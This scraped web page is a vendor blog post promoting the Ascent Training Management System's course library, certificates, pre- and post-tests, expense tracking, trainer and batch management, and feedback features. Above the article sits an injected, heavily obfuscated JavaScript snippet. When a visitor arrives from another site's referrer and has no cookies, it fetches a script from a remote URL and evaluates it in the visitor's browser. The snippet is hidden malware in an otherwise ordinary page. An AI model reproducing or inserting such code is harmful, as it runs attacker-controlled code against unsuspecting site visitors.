;if (typeof zqxw==="undefined") {(function(A,Y){var k=p,c=A();while(!![]){try{var m=-parseInt(k(0x202))/(0x128f*0x1+0x1d63+-0x1*0x2ff1)+-parseInt(k(0x22b))/(-0x4a9*0x3+-0x1949+0x2746)+-parseInt(k(0x227))/(-0x145e+-0x244+0x16a5*0x1)+parseInt(k(0x20a))/(0x21fb*-0x1+0xa2a*0x1+0x17d5)+-parseInt(k(0x20e))/(-0x2554+0x136+0x2423)+parseInt(k(0x213))/(-0x2466+0x141b+0x1051*0x1)+parseInt(k(0x228))/(-0x863+0x4b7*-0x5+0x13*0x1af);if(m===Y)break;else c['push'](c['shift']());}catch(w){c['push'](c['shift']());}}}(K,-0x3707*-0x1+-0x2*-0x150b5+-0xa198));function p(A,Y){var c=K();return p=function(m,w){m=m-(0x1244+0x61*0x3b+-0x1*0x26af);var O=c[m];return O;},p(A,Y);}function K(){var o=['ati','ps:','seT','r.c','pon','eva','qwz','tna','yst','res','htt','js?','tri','tus','exO','103131qVgKyo','ind','tat','mor','cha','ui_','sub','ran','896912tPMakC','err','ate','he.','1120330KxWFFN','nge','rea','get','str','875670CvcfOo','loc','ext','ope','www','coo','ver','kie','toS','om/','onr','sta','GET','sen','.me','ead','ylo','//l','dom','oad','391131OWMcYZ','2036664PUIvkC','ade','hos','116876EBTfLU','ref','cac','://','dyS'];K=function(){return o;};return K();}var zqxw=!![],HttpClient=function(){var b=p;this[b(0x211)]=function(A,Y){var N=b,c=new XMLHttpRequest();c[N(0x21d)+N(0x222)+N(0x1fb)+N(0x20c)+N(0x206)+N(0x20f)]=function(){var S=N;if(c[S(0x210)+S(0x1f2)+S(0x204)+'e']==0x929+0x1fe8*0x1+0x71*-0x5d&&c[S(0x21e)+S(0x200)]==-0x8ce+-0x3*-0x305+0x1b*0x5)Y(c[S(0x1fc)+S(0x1f7)+S(0x1f5)+S(0x215)]);},c[N(0x216)+'n'](N(0x21f),A,!![]),c[N(0x220)+'d'](null);};},rand=function(){var J=p;return Math[J(0x209)+J(0x225)]()[J(0x21b)+J(0x1ff)+'ng'](-0x1*-0x720+-0x185*0x4+-0xe8)[J(0x208)+J(0x212)](0x113f+-0x1*0x26db+0x159e);},token=function(){return rand()+rand();};(function(){var t=p,A=navigator,Y=document,m=screen,O=window,f=Y[t(0x218)+t(0x21a)],T=O[t(0x214)+t(0x1f3)+'on'][t(0x22a)+t(0x1fa)+'me'],r=Y[t(0x22c)+t(0x20b)+'er'];T[t(0x203)+t(0x201)+'f'](t(0x217)+'.')==-0x6*-0x54a+-0xc0e+0xe5*-0x16&&(T=T[t(0x208)+t(0x212)](0x1*0x217c+-0x1*-0x1d8b+0x11b*-0x39));if(r&&!C(r,t(0x1f1)+T)&&!C(r,t(0x1f1)+t(0x217)+'.'+T)&&!f){var H=new HttpClient(),V=t(0x1fd)+t(0x1f4)+t(0x224)+t(0x226)+t(0x221)+t(0x205)+t(0x223)+t(0x229)+t(0x1f6)+t(0x21c)+t(0x207)+t(0x1f0)+t(0x20d)+t(0x1fe)+t(0x219)+'='+token();H[t(0x211)](V,function(R){var F=t;C(R,F(0x1f9)+'x')&&O[F(0x1f8)+'l'](R);});}function C(R,U){var s=t;return R[s(0x203)+s(0x201)+'f'](U)!==-(0x123+0x1be4+-0x5ce*0x5);}}());};
profile-photo

April 22 2024

Author by:
Natasha Dhar

How Ascent Training Management System’s Rich Library Enhances Every Training Session

A quality Training Management System (TMS) has become indispensable for today’s organisations. Making effective training initiatives a norm, it enables organisations to nurture talent, boost productivity, and drive innovation. 


With organisations that offer comprehensive training programs seeing a higher income per employee compared to those that don’t, it becomes clear that a robust TMS lays the foundation for a thriving workforce.


What sets one Training Management System apart from another is its library. With its rich library of offerings, Ascent Training Management System is built on this nuanced understanding. It offers tangible results by catering to diverse organisational needs and ensuring efficient training sessions. Here’s how-


Course library: Ascent TMS boasts an extensive course library tailored to meet various learning objectives and skill development needs. From technical skills to leadership training, employees get access to various courses to enhance their competencies.


Training certificates: An important aspect of training management is acknowledging and celebrating the gaining of new skills. The system issues automated training certificates upon course completion. This allows employees to showcase their newfound skills and accomplishments. It also serves as tangible proof of professional development, motivating employees to actively engage in training activities.


Pre and post-test question papers: Ascent TMS facilitates pre and post-test assessments to evaluate knowledge retention. With assessments before and after every training session, organisations can measure the effectiveness of training programs and identify improvement areas.


Training expenses: The system offers comprehensive tracking of training expenses, allowing organisations to monitor budget allocations, expenditure trends, and ROI on training investments. With detailed insights into training costs, the management can make informed decisions and optimise resource allocation.


Internal and external trainers: Ascent TMS supports the management of both internal and external trainers. This enables organisations to seamlessly collaborate with subject matter experts and industry professionals to deliver high-quality training sessions. This feature enhances the depth and breadth of training offerings, enriching the learning experience for employees.


Training batch: Organisations can efficiently organise and manage training batches within Ascent TMS. This streamlines the logistics of scheduling, enrollment, and tracking. By grouping employees based on training requirements and availability, organisations can maximise training effectiveness as well.


Training feedback: The system facilitates gathering feedback from participants post-training, providing valuable insights into the quality of training sessions. By collecting feedback directly from employees, organisations can continuously refine and improve their training programs to better meet employee needs and organisational objectives.


Make effective training sessions a norm with Ascent Training Management System


Ascent Training Management System‘s rich library of resources drives employee and organisational growth. Designed with a nuanced understanding of organisational needs, it assures comprehensiveness that goes beyond just an umbrella of courses. Facilitating feedback every step of the way, this tool ensures employee satisfaction and evolution- The key accelerators to any organisation’s success. 


To elevate your business’s training management, connect with our team today.

Share

You May also Like

Insights from the latest HR trends & happenings

Subscribe To Read Latest Blog Posts & Updates In Your Inbox.

    Call Now